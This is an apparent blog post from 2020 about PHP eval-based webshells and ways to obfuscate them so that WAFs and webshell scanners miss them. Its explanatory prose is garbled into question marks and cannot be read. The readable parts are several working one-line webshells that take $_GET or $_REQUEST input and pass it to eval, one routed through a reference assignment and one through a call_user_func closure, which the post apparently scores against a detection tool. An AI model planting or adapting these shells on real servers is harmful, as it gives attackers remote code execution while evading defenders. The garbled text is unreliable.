eval???php??????????????????

Posted 2020-11-19

?????????return   ??????   request   pre   ??????   alt   style   eva   ??????   

part1

?????????????????????eval?????????php?????????????????????php??????????????????eval???????????????

<?php @eval($_GET["code"])?>

 

Part2

???T00ls??????????????????????????????????????????????????????????????????????????????????????? eval ???????????????????????????????????????

 

Part3

?????????????????????????????????????????????eval?????????????????????????????????????????????????????????WAF??????????????????????????????????????????????????!

 

Part4

- ????????????????????????

<?php
$a= $_REQUEST[1];
eval($a);

 

D??? 4???

 

- ????????????????????????????????????

<?php
$a = $_REQUEST[1];
eval($b=&$a); 
// ?????????$a???????????????$b??????????????????$a???$b???????????????

 

?????????D???????????????

 

- ???????????????

???????????????????????????????????????1?????????????????????D??????

??????????????????

<?php
$a=call_user_func(function($u){return @$_REQUEST[$u];},???1???);
eval(/**/($a));